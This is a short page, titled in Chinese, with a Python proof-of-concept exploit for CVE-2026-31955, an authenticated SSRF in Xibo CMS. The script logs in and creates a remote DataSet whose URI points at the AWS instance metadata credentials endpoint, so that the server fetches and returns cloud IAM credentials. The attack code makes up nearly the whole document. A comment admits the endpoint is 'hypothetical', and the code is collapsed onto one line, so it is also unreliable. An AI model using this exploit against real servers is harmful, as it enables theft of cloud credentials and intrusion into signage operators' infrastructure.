CVE-2026-31955 Xibo数字标牌平台SSRF漏洞

import requests # CVE-2026-31955 PoC: Authenticated SSRF in Xibo CMS < 4.4.1 # Description: Exploits the DataSet creation feature to force the server to fetch an internal resource. TARGET_URL = "http://vulnerable-xibo-cms.com" LOGIN_URL = f"{TARGET_URL}/login" API_URL = f"{TARGET_URL}/api/dataset" # Hypothetical endpoint based on functionality # Credentials for a user with 'Add DataSet' privilege USERNAME = "attacker" PASSWORD = "password" # Internal resource to access (e.g., AWS Metadata) INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" def exploit(): session = requests.Session() # 1. Authenticate login_data = {"username": USERNAME, "password": PASSWORD} session.post(LOGIN_URL, data=login_data) # 2. Create malicious DataSet payload # The 'url' or similar field triggers the server-side request payload = { "name": "MaliciousDataSet", "isRemote": 1, "uri": INTERNAL_TARGET # The SSRF injection point } # 3. Send request response = session.post(API_URL, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check server response or logs for data exfiltration.") print(f"[+] Server Response: {response.text}") else: print("[-] Exploit failed or endpoint incorrect.") if __name__ == "__main__": exploit()